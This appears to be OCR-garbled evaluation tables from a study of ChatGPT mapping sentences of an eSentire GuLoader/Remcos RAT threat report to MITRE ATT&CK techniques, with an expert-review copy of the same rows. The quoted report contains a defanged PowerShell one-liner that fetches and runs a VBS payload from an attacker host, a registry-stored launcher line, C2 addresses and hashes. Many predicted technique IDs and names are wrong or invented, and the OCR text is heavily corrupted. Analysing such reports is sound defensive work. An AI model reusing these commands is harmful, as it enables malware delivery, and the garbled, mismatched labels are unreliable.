'HKCU:\State'.
The “State” registry key contains the [{'taid': 'TA0002', 'tactic': '#4T", | 0
obfuscated PowerShell script that reflectively g o ; .
tid": 'T1 .001", 'tech :
loads the GuLoader shellcode in memory 'inersﬂiﬁ';o > technique
(Figure 8).
Figure 8: Obfuscated PowerShell script [{'taid': 'TA0002', 'tactic’: '#47", | [ []
'tid": 'T1059.001', 'technique':
'PowerShell'}]
The secondary PowerShell script contains the | [1'taid": 'TA0002', 'tactic': "#14T", 0 [0, 1]
strings that are XOR-ed with the decimal 50 ‘tid': "T1059.001", 'technique':
(Figure 9). 'PowerShell'}, {'taid': 'TAG005',
'tactic': 'defense-evasion’, 'tid":
'T1027', 'technique':
'ObfuscatedFilesorinformation'}]
Upon decoding the script, we can observe that [{'taid": 'TA0002', 'tactic': "#14T", 1} [0]
the PowerShell script is responsible for g . . .
executing two shellcode buffers that are .giw;;?]seﬁiﬁm + technique:
Base64-decoded and converted into a byte
array.
Figure 9: Decoded PowerShell secondary [{'taid": 'TA0002', 'tactic': "#14T", 0 [0]
seript 'tid': 'T1059.001", 'technique':
'PowerShell'}]
The shellcode retrieves the Remcos RAT from | [{'taid": 'TA0011', 'tactic": [['tool’, [0]
the web server ‘command-and-control', 'tid": 'Remcos'],
(http://109.206.240.67/xlog/TkhoWbbRT180.pf | 'T1105', ‘technique': ['malware’,
m) and injects it into the ieinstal.exe process. | 'IngressToolTransfer'}] 'ieinstal.exe']
]
PowerShell obfuscated script [{'taid': 'TAD002', 'tactic': 'Hi47", | [ malware’, []
'PowerShell']

'tid": 'T1059.001', 'technique':
'PowerShell'}]

]




ChatGPT Infer Result

text

tts

ttps_pred_c
ount

ttps_accep
t_idx

Adversaries don’t work 9-5 and neither do we.

[{'taid": 'T1020',
'tactic': 'Initial
Access', 'tid":
'T1078',
'technique':
'Valid
Accounts'}]

1

U]

At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts
who hunt, investigate, contain and respond to threats within minutes.

[{'taid": 'T1107",
'tactic":
'Defense
Evasion', 'tid":
'T1574',
'technique':
'Hijack
Execution
Flow'}, {'taid":
'T1107',
'tactic":
'Defense
Evasion', 'tid":
'T1490',
'technique':
'Ingress Tool
Monitoring'},
{'taid": 'T1107",
'tactic":
'Defense
Evasion', 'tid":
'T1562',
'technique':
'Impair
Defenses'},
{'taid": 'T1107",
'tactic":
'Defense
Evasion', 'tid":
'T1070',
'technique':
'Indicator
Removal from
Tools'}, {'taid":
'T1107',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'}]

0,1,23,

We have discovered some of the most dangerous threats and nation state attacks in
our space - including the Kaseya MSP breach and the more_eggs malware.

[{'taid": 'T1205',
'tactic":
'Collection’,
'tid": 'T1539',
'technique':
'Data from
Cloud Storage
Object'}, {'taid":
'T1205',
'tactic":
'Collection’,
'tid": 'T1114',
'technique':
'Email
Collection'},

[0,1,2,3]




{'taid": 'T1205',
'tactic":
'Collection’,
'tid": 'T1115/,
'technique':
'Network
Sniffing'},
{'taid": 'T1205',
'tactic":
'Collection’,
'tid": 'T1016',
'technique':
'System
Network
Configuration
Discovery'}]

Our Security Operations Centers are supported with Threat Intelligence, Tactical
Threat Response and Advanced Threat Analytics driven by our Threat Response Unit
- the TRU team.

[{'taid": 'T1102',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'}]

-

U]

GuLoader, also known as CloudEyE, is a loader malware that is known to deliver
additional malware, such as infostealers and Remote Access Trojans (RATSs). The
loader contains multiple stages of shellcode and is known for being one of the most
advanced loaders with numerous anti-analysis techniques.

[{'taid": 'T1074",
'tactic":
'Collection’,
'tid": 'T1005',
'technique':
'Data from
Removable
Media'}, {'taid":
'T1074',
'tactic":
'Collection’,
'tid": 'T1039',
'technique':
'Data from
Network
Shared Drive'}]

[0, 1]

In March 2022, TRU observed GuLoader targeting the financial sector via the phishing
email using a tax-themed lure.

[{'taid": 'T1566',
'tactic":
'Collection’,
'tid": 'T1201",
'technique':
'Password
Spraying'},
{'taid': 'T1566',
'tactic":
'Collection’,
'tid": 'T1566',
'technique':
'Phishing'}]

[0, 1]

The phishing email contained a shared link to Adobe Acrobat, where the user could
download the password-protected ZIP archive (Figure 1).

[{'taid": 'T1566',
'tactic":
'Collection’,
'tid": 'T1566',
'technique':
'Phishing'},
{'taid': 'T1566',
'tactic":
'Delivery', 'tid":
'T1566',
'technique':
'Phishing'}]

[0, 1]

The ZIP archive contains a decoy image and a shortcut file disguised as a PDF
(Figure 2).

[{'taid": 'T1027',
'tactic':

[0, 1]




'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid': 'T1566',
'tactic":
'Collection’,
'tid": 'T1566',
'technique':
'Phishing'}]

The shortcut file leverages PowerShell to retrieve additional payloads from the
website.

[{'taid": 'T12083',
'tactic":
'Execution’,
'tid": 'T1203',
'technique':
'Exploitation for
Client
Execution'},
{'taid": 'T1059',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'}]

[0, 1]

Here is the example of the spawned PowerShell one-liner command:“powershell.exe
n; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/Blotlg.vbs -OutFile

C:\Windows\Tasks\Repmlice.vbs; C:\Windows\Tasks\Repmlice.vbs; Invoke-

WebRequest hxxp://0x6D[.]13561923/xlog/info.pdf -OutFile
C:\Users\Public\details.pdf; C:\Users\Public\details.pdf

[{'taid": 'T1059',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'}]

-

U]

The VBS file is saved under C:\Windows\Tasks and Remplice.vbs.

[{'taid": 'T1105",
'tactic":
'Execution’,
'tid": 'T1197",
'technique':
'BITS Jobs'},
{'taid': 'T1105',
'tactic":
'Execution’,
'tid": 'T1105',
'technique':
'Remote File
Copy'}, {'taid":
'T1105/,
'tactic":
‘Command and
Control', 'tid":
'T1071",
'technique':
'Application
Layer
Protocol'}]

[0,1,2]

Then the decoy PDF file is fetched and saved under the C:\Users\Public folder as
details.pdf.

[{'taid": 'T1105',
'tactic':
'Collection’,
'tid": 'T1005',
'technique':
'Data from
Removable
Media'}, {'taid":
'T1105/,

[0, 1]




'tactic":
'Collection’,
'tid": 'T1025',
'technique':
'Data from
Local System'}]

The obfuscated VBS script is responsible for writing the base64-encoded GuLoader
shellcode payload to registry keys and executing the GuLoader payload via
PowerShell (Figures 5-6).

[{'taid": 'T1059',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'},
{'taid": 'T1035',
'tactic":
'Execution’,
'tid": 'T1035',
'technique':
'Service
Execution'}]

[0, 1]

GuLoader achieves persistence via Registry Run Keys (Figure 7).

[{'taid': 'T1543',
'tactic":
'Persistence’,
'tid": 'T1543',
'technique':
'Create or
Modify System
Process'},
{'taid": 'T1543",
'tactic":
'Persistence’,
'tid": 'T1543',
'technique':
'Injected
Process'}]

[0, 1]

%SaltoQ% -w 1 $Returkuverter=(Get-ltemProperty -Path
'HKCU:\State\').Parlando;%SaltoQ% ($Returkuverter)

[{'taid": 'T1059',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'},
{'taid": 'T1071",
'tactic":
‘Command and
Control', 'tid":
'T1071",
'technique':
'Standard
Application
Layer
Protocol'}]

[0, 1]

The “State” registry key contains the obfuscated PowerShell script that reflectively
loads the GuLoader shellcode in memory (Figure 8).

[{'taid": 'T1547",
'tactic":
'Persistence’,
'tid": 'T1055',
'technique':
'Process
Injection'}]

U]

The secondary PowerShell script contains the strings that are XOR-ed with the
decimal 50 (Figure 9).

[{'taid": 'T1027',
'tactic':
'Discovery',
'tid": 'T1027',
'technique':
'Obfuscated

[0, 1]




Files or
Information'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'}]

The first 647 bytes of the shellcode are responsible for decoding the second part of
the shellcode, which is the rest of the shellcode (Figure 10).

[{'taid": 'T1024',
'tactic":
'Execution’,
'tid": 'T1024",
'technique':
'Custom
Cryptographic
Protocol'},
{'taid': 'T1024',
'tactic":
'Execution’,
'tid": 'T1024",
'technique':
'Compiled
HTML File'}]

[0, 1]

The shellcode retrieves the Remcos RAT from the web server
(hxxp://109.206.240[.]67/xlog/TkhoWbbRT180.pfm) and injects it into the ieinstal.exe
process.

[{'taid": 'T1055',
'tactic":
'Execution’,
'tid": 'T1055',
'technique':
'Process
Injection'},
{'taid': 'T1043',
'tactic":
'Defense
Evasion', 'tid":
'T1043',
'technique':
'Windows
Management
Instrumentation
Event
Subscription'}]

[0, 1]

Example of the data extracted from memory which is being sent to Remcos C2 from
a sandbox environment:||US|Windows 10 Enterprise (64 bit)|4294430720[4.4.0 Pro|C:\
\AppData\Roaming\urtfghn.dat|C:\Program Files (x86)\internet
exploren\ieinstal.exe|Filter|1|281|8314921|0|xlongactive[.]sulurtfghn-
W5RHNP|0|C:\Program Files (x86)\internet explorer\ieinstal.exe|Intel(R) Core(TM) i7-
9750H CPU @ 2.60GHz|Exe|

[{'taid": 'T1003',
'tactic":
'Collection’,
'tid": 'T10083',
'technique':
'Data Transfer
to Cloud
Storage'}]

-

U]

xlongactive[.]su:2404:1|Crypted|1|1|8|xilroe.exe|Remcos|0|[urtfghn-
W5RHNP]1|6|urtfghn.dat|10|5|6|Screenshots|5|MicRecords|0|0|0]1|Remcos|092D17FEB
C648A7C02A13113CDC4F590]0]0]

[{'taid": 'T1001",
'tactic':
‘Command and
Control', 'tid":
'T1001",
'technique':
'Data
Obfuscation'},
{'taid": 'T1071",
'tactic':
‘Command and
Control', 'tid":
'T1071",
'technique':
'Application

[0, 1]




Layer
Protocol'}]

eSentire’s MDR for Endpoint identified execution behavior associated with GuLoader.

[{'taid': 'T1547",
'tactic":
'Persistence’,
'tid": 'T1055',
'technique':
'Process
Injection'},
{'taid": 'T1002',
'tactic":
'Discovery',
'tid": 'T1002',
'technique':
'Query
Registry'}]

[0, 1]

Further infection was prevented by eSentire’s MDR for Endpoint.

[{'taid": 'T1489',
'tactic":
'Execution’,
'tid": 'T1489',
'technique':
'Service Stop'},
{'taid': 'T1489',
'tactic":
'Execution’,
'tid": 'T1489',
'technique':
'Service
Disable'}]

[0, 1]

Our 24/7 SOC Cyber Analysts responded to the threat and took containment actions,
isolating the infected host on the customer’s behalf and alerting the customer to the
malicious activity.

[{'taid": 'T1480",
'tactic":
'Defense
Evasion', 'tid":
'T1480',
'technique':
'File Deletion'},
{'taid': 'T1490',
'tactic":
'Defense
Evasion', 'tid":
'T1490',
'technique':
'Inhibit System
Recovery'},
{'taid': 'T1490',
'tactic":
'Impact’, 'tid":
'T1490',
'technique':
'Inhibit System
Recovery'},
{'taid': 'T1055',
'tactic":
'Execution’,
'tid": 'T1055',
'technique':
'Process
Injection'}]

[0,1,2,3]

Tax-themed phishing lures are a popular tactic used by cybercriminals during tax
season to plant malware and steal sensitive information from unsuspecting victims.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'}]

-

U]

Once the malware is installed, attackers can access the victim's system and data,
allowing them to conduct further attacks.

[{'taid": 'T1134",
'tactic':
'Collection’,

[0,1,2]




'tid': 'T1134/,
'technique':
'Access Token
Manipulation'},
{'taid": 'T1486",
'tactic":
'Collection’,
'tid": 'T1486',
'technique':
'Clipboard
Data'}, {'taid":
'T1567',
'tactic":
'Collection’,
'tid': 'T1567",
'technique':
'Web Session
Cookie'}l]

Malicious shortcuts disguised as legitimate files, such as PDFs, can be an effective
way to trick users into executing malicious code on the machine.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid": 'T1566"',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Attachment'}]

[0, 1]

The most recent GuLoader malware variant uses obfuscated VBS and PowerShell to
drop and inject additional malware, such as Remcos RAT, into a legitimate process,
making it difficult to detect. Injecting the code into a legitimate process helps the
malware evade antivirus software and other security tools.

[{'taid": 'T1055',
'tactic":
'Execution’,
'tid": 'T1055',
'technique':
'Process
Injection'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'}]

[0, 1]

Password-protected zip archives can be an efficient way to bypass email filters and
antiviruses.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid': 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Attachment'},
{'taid': 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Link'}, {'taid":
'T1202',
'tactic":




'Defense
Evasion', 'tid":
'T1202',
'technique':
'Indirect
Command
Execution'},
{'taid": 'T1140',
'tactic":
'Defense
Evasion', 'tid":
'T1140',
'technique':
'Deobfuscate/D
ecode Files or
Information'},
{'taid": 'T1183',
'tactic":
'Defense
Evasion', 'tid":
'T1183',
'technique':
'Software
Packing'}]

By compressing a file into a password-protected archive, the file becomes more
difficult for antiviruses and email filters to scan and analyze since they cannot scan
the contents of the archive without the correct password.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid': 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Attachment'},
{'taid": 'T1202',
'tactic":
'Defense
Evasion', 'tid":
'T1202',
'technique':
'Indirect
Command
Execution'},
{'taid': 'T1183/,
'tactic":
'Defense
Evasion', 'tid":
'T1183/,
'technique':
'Software
Packing'}]

[0,1,2,3]

Individuals and organizations should be vigilant when receiving unsolicited emails or
messages related to taxes. Train users to identify and report potentially malicious
content using Phishing and Security Awareness Training (PSAT) programs.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'}]

U]

Protect endpoints against malware by:

Ensuring antivirus signatures are up-to-date.

Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to
detect and contain threats.

[{'taid": 'T1489',
'tactic":
'Execution’,
'tid": 'T1489',
'technique':
'Service Stop'},
{'taid': 'T1489',
'tactic":
'Execution’,

[0,1,2,3]




'tid": 'T1489',
'technique':
'Service
Disable'},
{'taid': 'T1489',
'tactic":
'Execution’,
'tid": 'T1489',
'technique':
'Service
Execution'},
{'taid": 'T1562',
'tactic":
'Defense
Evasion', 'tid":
'T1562',
'technique':
'Impair
Defenses'}]

Blotlg.vbs
d79593a6fb6c636a50334085b9d6018b
info.pdf
cc6440a764050a8adf530efe2a989d25
PowerShell obfuscated script
d2b6255b7076eb754921121489804fee
Shellcode
dfb72ba81b0f765d1676f856d6af82c7
Decrypted shellcode
d7baac59e5aa6122621c31f0afb49119

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid': 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Attachment'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid': 'T1503',
'tactic":
'Execution’,
'tid": 'T15083',
'technique':
'DLL Search
Order
Hijacking'},
{'taid': 'T1140',
'tactic":
'Defense
Evasion', 'tid":
'T1140',
'technique':
'Deobfuscate/D
ecode Files or
Information'},
{'taid": 'T1074',
'tactic":
'Persistence’,
'tid": 'T1074',
'technique':
'Data
Encoding'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',




'technique':
'Obfuscated
Files or
Information'},
{'taid': 'T1055',
'tactic":
'Execution’,
'tid": 'T1055',
'technique':
'Process
Injection'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'}]

C2 (opendir)

109.206.240[.167

Remcos RAT C2

xlongactive[.]Jsu

Password-protected ZIP archive
faOb3b0e5b7b5aa9a2da7bebbc15ab0e944d984b

[{'taid": 'T1566",
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid": 'T1071",
'tactic':
‘Command and
Control', 'tid":
'T1071",
'technique':
'Application
Layer
Protocol'},
{'taid": 'T1027',
'tactic':
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or

0,1,23,




Information'},
{'taid": 'T1102',
'tactic":
‘Command and
Control', 'tid":
'T1102',
'technique':
'Web Service'},
{'taid": 'T1562',
'tactic":
'Defense
Evasion', 'tid":
'T1562',
'technique':
'Impair
Defenses'}]

eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers
who develop new detections enriched by original threat intelligence and leverage
new machine learning models that correlate multi-signal data and automate rapid
response to advanced threats.

[{'taid": 'T1580",
'tactic":
'Adversary
Opsec', 'tid":
'T1580',
'technique':
'Avoid
Suspicious
Tools'}, {'taid":
'T1582',
'tactic":
'Adversary
Opsec', 'tid":
'T1582',
'technique':
'Use Alternate
Authentication
Material'},
{'taid": 'T1204",
'tactic":
'Execution’,
'tid": 'T1204',
'technique':
'User
Execution'}]

[0,1,2]

If you are not currently engaged with an MDR provider, eSentire MDR can help you
reclaim the advantage and put your business ahead of disruption.

[{'taid": 'T1583",
'tactic":
'Impersonation’
, 'tid": 'T1583',
'technique':
'Service
Application
Layer
Protocol'},
{'taid": 'T1574",
'tactic":
'Defend’, 'tid":
'T1574',
'technique':
"Threat
Intelligence'},
{'taid": 'T1038',
'tactic":
'Credential
Access', 'tid":
'T1038',
'technique':
'Authentication
Token'}]

[0,1,2]




Expert Review Result

text

tts

ttps_pred_c
ount

ttps_accep
t_idx

Adversaries don’t work 9-5 and neither do we.

[{'taid": 'T1020',
'tactic': 'Initial
Access', 'tid":
'T1078',
'technique':
'Valid
Accounts'}]

1

I

At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts
who hunt, investigate, contain and respond to threats within minutes.

[{'taid": 'T1107",
'tactic":
'Defense
Evasion', 'tid":
'T1574',
'technique':
'Hijack
Execution
Flow'}, {'taid":
'T1107',
'tactic":
'Defense
Evasion', 'tid":
'T1490',
'technique':
'Ingress Tool
Monitoring'},
{'taid": 'T1107",
'tactic":
'Defense
Evasion', 'tid":
'T1562',
'technique':
'Impair
Defenses'},
{'taid": 'T1107",
'tactic":
'Defense
Evasion', 'tid":
'T1070',
'technique':
'Indicator
Removal from
Tools'}, {'taid":
'T1107',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'}]

We have discovered some of the most dangerous threats and nation state attacks in
our space - including the Kaseya MSP breach and the more_eggs malware.

[{'taid": 'T1205',
'tactic":
'Collection’,
'tid": 'T1539',
'technique':
'Data from
Cloud Storage
Object'}, {'taid":
'T1205',
'tactic":
'Collection’,
'tid": 'T1114',
'technique':
'Email
Collection'},




{'taid": 'T1205',
'tactic":
'Collection’,
'tid": 'T1115/,
'technique':
'Network
Sniffing'},
{'taid": 'T1205',
'tactic":
'Collection’,
'tid": 'T1016',
'technique':
'System
Network
Configuration
Discovery'}]

Our Security Operations Centers are supported with Threat Intelligence, Tactical
Threat Response and Advanced Threat Analytics driven by our Threat Response Unit
- the TRU team.

[{'taid": 'T1102',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'}]

-

GuLoader, also known as CloudEyE, is a loader malware that is known to deliver
additional malware, such as infostealers and Remote Access Trojans (RATSs). The
loader contains multiple stages of shellcode and is known for being one of the most
advanced loaders with numerous anti-analysis techniques.

[{'taid": 'T1074",
'tactic":
'Collection’,
'tid": 'T1005',
'technique':
'Data from
Removable
Media'}, {'taid":
'T1074',
'tactic":
'Collection’,
'tid": 'T1039',
'technique':
'Data from
Network
Shared Drive'}]

In March 2022, TRU observed GuLoader targeting the financial sector via the phishing
email using a tax-themed lure.

[{'taid": 'T1566',
'tactic":
'Collection’,
'tid": 'T1201",
'technique':
'Password
Spraying'},
{'taid': 'T1566',
'tactic":
'Collection’,
'tid": 'T1566',
'technique':
'Phishing'}]

(1]

The phishing email contained a shared link to Adobe Acrobat, where the user could
download the password-protected ZIP archive (Figure 1).

[{'taid": 'T1566',
'tactic":
'Collection’,
'tid": 'T1566',
'technique':
'Phishing'},
{'taid': 'T1566',
'tactic":
'Delivery', 'tid":
'T1566',
'technique':
'Phishing'}]

[0, 1]

The ZIP archive contains a decoy image and a shortcut file disguised as a PDF
(Figure 2).

[{'taid": 'T1027',
'tactic':




'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid': 'T1566',
'tactic":
'Collection’,
'tid": 'T1566',
'technique':
'Phishing'}]

The shortcut file leverages PowerShell to retrieve additional payloads from the
website.

[{'taid": 'T12083',
'tactic":
'Execution’,
'tid": 'T1203',
'technique':
'Exploitation for
Client
Execution'},
{'taid": 'T1059',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'}]

(1]

Here is the example of the spawned PowerShell one-liner command:“powershell.exe
n; Invoke-WebRequest hxxp://0x6D[.]13561923/xlog/Blotlg.vbs -OutFile

C:\Windows\Tasks\Repmlice.vbs; C:\Windows\Tasks\Repmlice.vbs; Invoke-

WebRequest hxxp://0x6D[.]13561923/xlog/info.pdf -OutFile
C:\Users\Public\details.pdf; C:\Users\Public\details.pdf

[{'taid": 'T1059',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'}]

-

U]

The VBS file is saved under C:\Windows\Tasks and Remplice.vbs.

[{'taid": 'T1105",
'tactic":
'Execution’,
'tid": 'T1197",
'technique':
'BITS Jobs'},
{'taid': 'T1105',
'tactic":
'Execution’,
'tid": 'T1105',
'technique':
'Remote File
Copy'}, {'taid":
'T1105/,
'tactic":
‘Command and
Control', 'tid":
'T1071",
'technique':
'Application
Layer
Protocol'}]

Then the decoy PDF file is fetched and saved under the C:\Users\Public folder as
details.pdf.

[{'taid": 'T1105",
'tactic':
'Collection’,
'tid": 'T1005',
'technique':
'Data from
Removable
Media'}, {'taid":
'T1105/,




'tactic":
'Collection’,
'tid": 'T1025',
'technique':
'Data from
Local System'}]

The obfuscated VBS script is responsible for writing the base64-encoded GuLoader
shellcode payload to registry keys and executing the GuLoader payload via
PowerShell (Figures 5-6).

[{'taid": 'T1059',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'},
{'taid": 'T1035',
'tactic":
'Execution’,
'tid": 'T1035',
'technique':
'Service
Execution'}]

(1]

GuLoader achieves persistence via Registry Run Keys (Figure 7).

[{'taid': 'T1543',
'tactic":
'Persistence’,
'tid": 'T1543',
'technique':
'Create or
Modify System
Process'},
{'taid": 'T1543',
'tactic":
'Persistence’,
'tid": 'T1543',
'technique':
'Injected
Process'}]

%SaltoQ% -w 1 $Returkuverter=(Get-ltemProperty -Path
'HKCU:\State\').Parlando;%SaltoQ% ($Returkuverter)

[{'taid": 'T1059',
'tactic":
'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting
Interpreter'},
{'taid": 'T1071",
'tactic":
‘Command and
Control', 'tid":
'T1071",
'technique':
'Standard
Application
Layer
Protocol'}]

U]

The “State” registry key contains the obfuscated PowerShell script that reflectively
loads the GuLoader shellcode in memory (Figure 8).

[{'taid": 'T1547",
'tactic":
'Persistence’,
'tid": 'T1055',
'technique':
'Process
Injection'}]

The secondary PowerShell script contains the strings that are XOR-ed with the
decimal 50 (Figure 9).

[{'taid": 'T1027',
'tactic':
'Discovery',
'tid": 'T1027',
'technique':
'Obfuscated

[0, 1]




Files or
Information'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'}]

The first 647 bytes of the shellcode are responsible for decoding the second part of
the shellcode, which is the rest of the shellcode (Figure 10).

[{'taid": 'T1024',
'tactic":
'Execution’,
'tid": 'T1024",
'technique':
'Custom
Cryptographic
Protocol'},
{'taid': 'T1024',
'tactic":
'Execution’,
'tid": 'T1024",
'technique':
'Compiled
HTML File'}]

The shellcode retrieves the Remcos RAT from the web server
(hxxp://109.206.240[.]67/xlog/TkhoWbbRT180.pfm) and injects it into the ieinstal.exe
process.

[{'taid": 'T1055",
'tactic":
'Execution’,
'tid": 'T1055',
'technique':
'Process
Injection'},
{'taid': 'T1043',
'tactic":
'Defense
Evasion', 'tid":
'T1043',
'technique':
'Windows
Management
Instrumentation
Event
Subscription'}]

Example of the data extracted from memory which is being sent to Remcos C2 from
a sandbox environment:||US|Windows 10 Enterprise (64 bit)|4294430720[4.4.0 Pro|C:\
\AppData\Roaming\urtfghn.dat|C:\Program Files (x86)\internet
exploren\ieinstal.exe|Filter|1]281|8314921|0|xlongactive[.]suurtfghn-
W5RHNP|0|C:\Program Files (x86)\internet explorer\ieinstal.exe|Intel(R) Core(TM) i7-
9750H CPU @ 2.60GHz|Exe|

[{'taid": 'T1003',
'tactic":
'Collection’,
'tid": 'T10083',
'technique':
'Data Transfer
to Cloud
Storage'}]

-

xlongactive[.]su:2404:1|Crypted|1|1|8|xilroe.exe|Remcos|0||urtfghn-
W5RHNP]1|6|urtfghn.dat|10|5|6|Screenshots|5|MicRecords|0|0|0]1|Remcos|092D17FEB
C648A7C02A13113CDC4F590]0]0]

[{'taid": 'T1001",
'tactic':
‘Command and
Control', 'tid":
'T1001",
'technique':
'Data
Obfuscation'},
{'taid": 'T1071",
'tactic':
‘Command and
Control', 'tid":
'T1071",
'technique':
'Application




Layer
Protocol'}]

eSentire’s MDR for Endpoint identified execution behavior associated with GuLoader.

[{'taid': 'T1547",
'tactic":
'Persistence’,
'tid": 'T1055',
'technique':
'Process
Injection'},
{'taid": 'T1002',
'tactic":
'Discovery',
'tid": 'T1002',
'technique':
'Query
Registry'}]

Further infection was prevented by eSentire’s MDR for Endpoint.

[{'taid": 'T1489',
'tactic":
'Execution’,
'tid": 'T1489',
'technique':
'Service Stop'},
{'taid': 'T1489',
'tactic":
'Execution’,
'tid": 'T1489',
'technique':
'Service
Disable'}]

Our 24/7 SOC Cyber Analysts responded to the threat and took containment actions,
isolating the infected host on the customer’s behalf and alerting the customer to the
malicious activity.

[{'taid": 'T1480",
'tactic":
'Defense
Evasion', 'tid":
'T1480',
'technique':
'File Deletion'},
{'taid': 'T1490',
'tactic":
'Defense
Evasion', 'tid":
'T1490',
'technique':
'Inhibit System
Recovery'},
{'taid': 'T1490',
'tactic":
'Impact’, 'tid":
'T1490',
'technique':
'Inhibit System
Recovery'},
{'taid': 'T1055',
'tactic":
'Execution’,
'tid": 'T1055',
'technique':
'Process
Injection'}]

Tax-themed phishing lures are a popular tactic used by cybercriminals during tax
season to plant malware and steal sensitive information from unsuspecting victims.

[{'taid": 'T1566",
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'}]

-

U]

Once the malware is installed, attackers can access the victim's system and data,
allowing them to conduct further attacks.

[{'taid": 'T1134",
'tactic':
'Collection’,




'tid': 'T1134/,
'technique':
'Access Token
Manipulation'},
{'taid": 'T1486",
'tactic":
'Collection’,
'tid": 'T1486',
'technique':
'Clipboard
Data'}, {'taid":
'T1567',
'tactic":
'Collection’,
'tid': 'T1567",
'technique':
'Web Session
Cookie'}l]

Malicious shortcuts disguised as legitimate files, such as PDFs, can be an effective
way to trick users into executing malicious code on the machine.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid": 'T1566"',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Attachment'}]

The most recent GuLoader malware variant uses obfuscated VBS and PowerShell to
drop and inject additional malware, such as Remcos RAT, into a legitimate process,
making it difficult to detect. Injecting the code into a legitimate process helps the
malware evade antivirus software and other security tools.

[{'taid": 'T1055',
'tactic":
'Execution’,
'tid": 'T1055',
'technique':
'Process
Injection'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'}]

[0, 1]

Password-protected zip archives can be an efficient way to bypass email filters and
antiviruses.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid': 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Attachment'},
{'taid': 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Link'}, {'taid":
'T1202',
'tactic":

[0, 1]




'Defense
Evasion', 'tid":
'T1202',
'technique':
'Indirect
Command
Execution'},
{'taid": 'T1140',
'tactic":
'Defense
Evasion', 'tid":
'T1140',
'technique':
'Deobfuscate/D
ecode Files or
Information'},
{'taid": 'T1183',
'tactic":
'Defense
Evasion', 'tid":
'T1183',
'technique':
'Software
Packing'}]

By compressing a file into a password-protected archive, the file becomes more
difficult for antiviruses and email filters to scan and analyze since they cannot scan
the contents of the archive without the correct password.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid': 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Attachment'},
{'taid": 'T1202',
'tactic":
'Defense
Evasion', 'tid":
'T1202',
'technique':
'Indirect
Command
Execution'},
